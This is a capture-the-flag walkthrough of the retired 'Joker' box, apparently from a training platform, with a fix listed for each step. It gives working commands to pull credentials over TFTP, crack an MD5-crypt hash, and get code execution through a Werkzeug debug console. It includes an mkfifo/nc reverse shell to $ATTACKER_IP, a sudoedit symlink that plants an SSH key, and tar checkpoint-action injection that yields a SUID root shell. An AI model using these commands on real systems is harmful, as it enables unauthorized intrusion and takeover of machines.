Joker
Summary
Target joker ($TARGET) was fully compromised via a chain of four misconfigurations. An anonymous TFTP service leaked a Squid proxy credential file containing an MD5-crypt password hash; offline cracking recovered the passphrase for the proxy account 'kalamari'. Authenticating through the Squid proxy exposed a Flask/Werkzeug application whose interactive debug console was left enabled in production with a known secret, granting arbitrary Python execution and a reverse shell as the web-service account 'werkzeug'.
From that foothold, the application's template-write feature followed my own symbolic link to inject my SSH public key into user alekos's authorized_keys file, establishing direct SSH access and yielding the user flag. Finally, a root-owned scheduled tar job ran over a directory alekos controlled; pre-staged files named with GNU tar checkpoint-action flags caused tar to execute my own shell script as root, dropping a SUID-root bash binary that completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path: how the box was taken
Exact commands 2
Full TCP scan: confirms SSH on 22 and Squid proxy on 3128.
$ nmap -p- -Pn --min-rate 2000 -T4 -sV $TARGETTop-100 UDP scan: reveals 69/udp TFTP.
$ nmap -sU --top-ports 100 -Pn -T4 $TARGETExact commands 2
No credentials required: retrieves the htpasswd-format credential file.
$ tftp $TARGET -c get passwordsMode 1600 = Apache apr1 MD5-crypt. Recovers plaintext: <withheld>.
$ hashcat -m 1600 -a 0 "$HASH" /usr/share/wordlists/rockyou.txtFixDisable anonymous TFTP or remove credential files from the TFTP-served directoryCritical
Exact commands 3
Confirm /console is reachable through the authenticated Squid proxy.
$ curl -s -i -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/consoleVerify RCE: response body should contain uid=1000(werkzeug).
$ python3 - <<PY
import urllib.parse, urllib.request
proxy = "http://$USERNAME:$PASSWORD@$TARGET:3128"
secret = "$TOKEN"
cmd = "__import__('subprocess').check_output(['id'])"
url = 'http://127.0.0.1/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
print(opener.open(url, timeout=10).read())
PYTrigger reverse shell; replace $ATTACKER_IP and run nc -lvnp 4445 on my machine first.
$ python3 - <<PY
import urllib.parse, urllib.request
proxy = "http://$USERNAME:$PASSWORD@$TARGET:3128"
secret = "$TOKEN"
cmd = "__import__('subprocess').Popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f', shell=True)"
url = 'http://127.0.0.1/console?__debugger__=yes&cmd=%s&frm=0&s=%s' % (urllib.parse.quote(cmd), secret)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({'http': proxy}))
opener.open(url, timeout=5)
PYFixDisable the Werkzeug interactive debugger in all non-development environmentsCritical
Exact commands 6
As werkzeug. The sudoedit rule and the sudoedit_follow default are the two facts this step rests on.
$ sudo -lA keypair of my own to authorise.
$ ssh-keygen -t ed25519 -N '' -f /tmp/joker_alekos_keyPlant the symlink where the sudoedit rule allows editing; sudoedit_follow means it will be followed.
$ mkdir -p /var/www/testing/foo && ln -sf /home/alekos/.ssh/authorized_keys /var/www/testing/foo/layout.htmlSudoedit hands the temporary copy to $EDITOR as its argument; this one writes the public key into it.
$ printf '#!/bin/sh\ncat /tmp/joker_alekos_key.pub > "$1"\n' > /tmp/joker_editor.sh && chmod +x /tmp/joker_editor.shSudoedit copies the result back through the symlink, as alekos, into alekos's authorized_keys.
$ EDITOR=/tmp/joker_editor.sh sudo -n -u alekos -e /var/www/testing/foo/layout.htmlLog in on the key that was just authorised.
$ ssh -i /tmp/joker_alekos_key alekos@$TARGETFixPrevent the application's file-write feature from following symbolic links outside the web rootCritical
Exact commands 1
Login as alekos and capture the user flag: value is <user.txt>.
$ ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alekos@$TARGET 'id; cat ~/user.txt'
uid=1001(alekos)Exact commands 3
Verify the tar checkpoint artifact filenames (--checkpoint=1, --checkpoint-action=exec=sh shell.sh) are present.
$ ssh -i /tmp/joker_alekos_key alekos@$TARGET 'ls -la /home/alekos/development/'Drop the SUID-bash payload: wait for the root tar cron to fire and create /tmp/rootbash.
$ ssh -i /tmp/joker_alekos_key alekos@$TARGET 'echo -e "#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash" > /home/alekos/development/shell.sh && chmod +x /home/alekos/development/shell.sh'Once /tmp/rootbash (SUID 4755) appears, invoke it to run as root and read root.txt: value is <root.txt>.
$ ssh -i /tmp/joker_alekos_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 alekos@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixNever run tar or wildcard-expanding commands as root over directories writable by unprivileged usersCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 3128/tcp | squid-http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.